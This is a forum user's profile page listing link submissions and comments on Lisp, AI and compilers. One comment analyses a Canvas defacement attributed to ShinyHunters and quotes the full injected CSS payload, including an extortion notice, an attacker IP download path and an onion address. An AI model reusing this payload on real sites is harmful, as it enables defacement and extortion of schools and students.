HackerTrans
TopNewTrendsCommentsPastAskShowJobs

swatson741

no profile record

Submissions

Lisp Coding Standards v1.0

franz.com
2 points·by swatson741·6 เดือนที่ผ่านมา·0 comments

Computer Science Illustrated (2009) [pdf]

www2.eecs.berkeley.edu
1 points·by swatson741·6 เดือนที่ผ่านมา·0 comments

The Sparsely-Gated Mixture-of-Experts Layer (2017) [pdf]

arxiv.org
1 points·by swatson741·6 เดือนที่ผ่านมา·0 comments

Y Combinator Store

ycalumni.store
2 points·by swatson741·6 เดือนที่ผ่านมา·1 comments

CYC: A large-scale investment in knowledge infrastructure (1995) [pdf]

dl.acm.org
4 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

Grok's Phone Number

x.ai
2 points·by swatson741·7 เดือนที่ผ่านมา·1 comments

Waymo Safety Impact

waymo.com
2 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

Wearing the hair shirt: a retrospective on Haskell (2003)

microsoft.com
3 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

OpenCyc 4.0

sourceforge.net
3 points·by swatson741·7 เดือนที่ผ่านมา·1 comments

Introduction to Artificial Intelligence

inst.eecs.berkeley.edu
3 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

GitHub Copilot CLI

github.com
1 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

Arduino UNO Q

arduino.cc
4 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

60 Years of Artificial Intelligence at Stanford (2023) [video]

youtube.com
1 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

GitHub Shop

thegithubshop.com
2 points·by swatson741·7 เดือนที่ผ่านมา·4 comments

Essentials of Compilation: An Incremental Approach (2020)

swatson555.github.io
11 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

Google PageSpeed Insights

pagespeed.web.dev
2 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

General Parser Combinators in Racket (2012)

epsil.github.io
3 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

Jargon.txt (1988)

dourish.com
2 points·by swatson741·7 เดือนที่ผ่านมา·0 comments

Artificial Intelligence: A Modern Approach

aima.cs.berkeley.edu
4 points·by swatson741·8 เดือนที่ผ่านมา·0 comments

Three Directions in Design: Gerald Jay Sussman (2024) [video]

youtube.com
3 points·by swatson741·8 เดือนที่ผ่านมา·1 comments

comments

swatson741
·2 เดือนที่ผ่านมา·discuss
I saw this happen to my Canvas account today. At first I thought it was a prank from the school or Instructure. The message was sent to students which makes no sense. Second, the message that was sent basically implies that ShinyHunter is actively getting patched out, and no one is ever going to give into their demands. They're basically saying that they're done and desperate. It's a strange message for ShinyHunter to send, but I think they were trying to pull off a psyop / FUD.

Looking into the payload they sent me this is how they hijacked the screen. Everything in the payload is unchanged except for one line of code:

<link rel="stylesheet" href="https://instructure-uploads.s3.amazonaws.com/account_9363000..." media="all"/>

This links to the following styling sheet:

@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@500;7...');

html, body { height: 100% !important; overflow: hidden !important; margin: 0 !important; padding: 0 !important; }

body > * { display: none !important; }

body { display: flex !important; align-items: center !important; justify-content: center !important; background: #07080c !important; }

body::before { content: "" !important; position: fixed !important; inset: 0 !important; z-index: 999998 !important; background: radial-gradient(ellipse at 50% 20%, rgba(255,59,59,.06), transparent 55%), radial-gradient(ellipse at 50% 85%, rgba(125,70,152,.04), transparent 45%), repeating-linear-gradient(0deg, rgba(255,255,255,.035), rgba(255,255,255,.035) 1px, transparent 1px, transparent 3px), #07080c !important; pointer-events: none !important; }

body::after { content: "\A\A" "S H I N Y H U N T E R S" "\A" "rooting your systems since '19 ;)" "\A\A\A" "ShinyHunters has breached Instructure (again)." "\A" "Instead of contacting us to resolve it they" "\A" "ignored us and did some \201Csecurity patches\201D." "\A\A" "\26A0 W A R N I N G" "\A\A" "If any of the schools in the affected list are" "\A" "interested in preventing the release of their" "\A" "data, please consult with a cyber advisory firm" "\A" "and contact us privately at TOX to negotiate a" "\A" "settlement. You have till the end of the day by" "\A" "12 May 2026 before everything is leaked." "\A\A" "Instructure still has until EOD 12 May 2026" "\A" "to contact us." "\A\A" " \25BC DOWNLOAD AFFECTED_SCHOOLS.TXT \25BC" "\A" "91.215.85.103/pay_or_leak/" "\A" "instructure_affected_schools_list.txt" "\A\A" "visit us: shnyhntww34phqoa6dcgnvps2yu7dlwzmy5" "\A" "lkvejwjdo6z7bmgshzayd.onion" !important;

    position: fixed !important;
    z-index: 999999 !important;
    top: 50% !important;
    left: 50% !important;
    transform: translate(-50%, -50%) !important;
    white-space: pre !important;
    text-align: center !important;
    font-family: 'Fira Code', 'Share Tech Mono', monospace !important;
    font-size: clamp(10px, 1.4vw, 14px) !important;
    line-height: 1.55 !important;
    color: #c8dce8 !important;
    background:
        linear-gradient(180deg, rgba(255,255,255,.05) 0%, rgba(255,255,255,.01) 3.2%, transparent 3.2%) !important;
    background-color: #0d0f16 !important;
    border: 2px solid #ff3b3b !important;
    border-radius: 14px !important;
    padding: 16px 32px !important;
    overflow: hidden !important;
    box-shadow:
        0 0 35px rgba(255,59,59,.2),
        0 40px 90px rgba(0,0,0,.65),
        inset 0 0 0 1px rgba(255,255,255,.06),
        inset 0 0 50px rgba(255,59,59,.03) !important;
    animation: pulseWarn 2.5s infinite ease-in-out !important;
    max-width: 94vw !important;
    text-shadow: 0 0 6px rgba(200,220,232,.15) !important;
}

@keyframes pulseWarn { 0% { box-shadow: 0 0 20px rgba(255,59,59,.15), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } 50% { box-shadow: 0 0 55px rgba(255,59,59,.4), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } 100% { box-shadow: 0 0 20px rgba(255,59,59,.15), 0 40px 90px rgba(0,0,0,.65), inset 0 0 0 1px rgba(255,255,255,.06); } }

The hack is crude, and it seems unlikely that they have any access to Instructure's developer tools.
swatson741
·6 เดือนที่ผ่านมา·discuss
I dunno about this. The problem mainly affects low-income families and residents of food deserts, and now the government is trying to put everyone on a keto diet. It just seems like they're not fixing the problems where they happen.
swatson741
·7 เดือนที่ผ่านมา·discuss
this is really quite interesting to read through after nearly going catatonic thinking about catamorphisms in the Tiger language.
swatson741
·7 เดือนที่ผ่านมา·discuss
Date of publication is from 2007.
swatson741
·7 เดือนที่ผ่านมา·discuss
I never really considered this too deeply, because I've never studied "Agentic AI" before (except for natural language processing). Stallman is making a really good point. ChatGPT doesn't solve the intelligence problem. If ChatGPT was actually able to do that it would be able to make ChatGPT 2.0 on request.
swatson741
·7 เดือนที่ผ่านมา·discuss
https://thegithubshop.com/collections/lifestyle/products/155...

> Rise and grind with the latest GitHub skateboard deck (it also looks great on your office wall).

There's a lot of great gift ideas here for someone you care about. Merry Christmas everyone!
swatson741
·7 เดือนที่ผ่านมา·discuss
How has AI impacted your profession?
swatson741
·8 เดือนที่ผ่านมา·discuss
[flagged]
swatson741
·8 เดือนที่ผ่านมา·discuss
I think the term transpiler is ok. It’s not pedagogical or anything but most engineering jargon is like that, and this defiantly isn’t the worst one I’ve seen.
swatson741
·8 เดือนที่ผ่านมา·discuss
So he wants a good parallel language? What's the issue? I haven't had problems with concurrency, multiplexing, and promises. They've solved all the parallelism tasks I've needed to do.
swatson741
·8 เดือนที่ผ่านมา·discuss
Norvig actually did comment on this publicly once on the Lex Friedman podcast. Basically what he said was that lisp ended up not working well for larger software projects with 5 or more people on them, and the reason why they never used lisp in any of their books again was because students didn't like lisp. Norvig doesn't seem to get why students didn't like lisp, and neither do I but somehow this is the real reason why it was abandoned.

https://youtu.be/_VPxEcT_Adc?t=2690
swatson741
·8 เดือนที่ผ่านมา·discuss
I'm referring to the fundamental idea in AI of knowledge representation. Lisp is ideal for chapters 1 through 4 of AIMA, and TensorFlow has shown that NN can be solved well with a domain specific language which lisp is known to be great for.

In fact, the first edition of AIMA even had a NN and Perceptron implementation in Common Lisp. (https://github.com/aimacode/aima-lisp/blob/master/learning/a...)
swatson741
·8 เดือนที่ผ่านมา·discuss
We know in hindsight that lisp became most useful for representing computation, but what ever happened to AI? McCarthy says it's characteristic of LISP. SICP also mentions AI as being fundamental to lisp at the beginning of the book. Norvig & Russel used Common Lisp for the first edition of their book. But, then what happened? Why did it just disappear for no reason?
swatson741
·9 เดือนที่ผ่านมา·discuss
It works but it can’t do much other than demonstrate semantics. The evaluator won’t even be able to add numbers for example.
swatson741
·9 เดือนที่ผ่านมา·discuss
You're right `virtmach` only works on things that are output from `compile` and maintaining the invariant that virtmach lisp uses those pointers isn't difficult to do in with how the evaluator is presented.

It gives virtmach lisp and scheme different ontology, but I can't think of any practical reason why that would matter other than it makes things a little bit more complicated. But, then again if I'm thinking practically scheme should be using hashed identifiers, and then there's no reason for them to have different ontology and conceptually we're right back where we started with virtmach lisp and scheme using identifiers as objects.
swatson741
·9 เดือนที่ผ่านมา·discuss
A C compiler can output fairly readable code if you turn off optimizations, and it's definitely not going to take thousands of lines to do this in modern assembly. It may be only just barely a thousand lines to do this in aarch64, and the LLM can probably do it.

From what I've seen the LLM do it can definitely enhance these programs if you know what to ask, and it can explain how any piece this code works. It may even be able to add garbage collection to the evaluator since the root registers are explicit, and the evaluator only acts on static memory.
swatson741
·9 เดือนที่ผ่านมา·discuss
You'll still probably need the `strcmp` because the pointers won't be the same unless you check for them and make them the same.

You may be thinking about how `eq?` (reference equality) works in scheme. That's usually done by hashing the identifier string. Which is the more general solution to this equality problem.
swatson741
·9 เดือนที่ผ่านมา·discuss
The Japanese paper culture is pretty wild. They use them to make fusuma (sliding doors), decorative strips, gift wrapping, etc. And like they say in the report they've done this since forever. There was once a time in history when the rest of the world was stuck using solid shutters instead of superior paper windows.

BTW the reporter looks like Cotten Hill if he was real, and actually fought in all those wars. I'm quite surprised they had him hosting the video. I'm curious what decisions led to this.
swatson741
·10 เดือนที่ผ่านมา·discuss
Very true but the other side of this is first class continuations are no worse than compiling try-catch semantics, and hygienic macros are still just macros so the complexity is kept simple (sort of. maybe simple isn't always so simple).

The other thing that makes languages like scheme difficult to compile are those closures. In fact, the book, the implementation of functional programming languages, Jones (1987) didn't do it at all! No closure conversion at all. They just compiled to a letrec in the g-machine.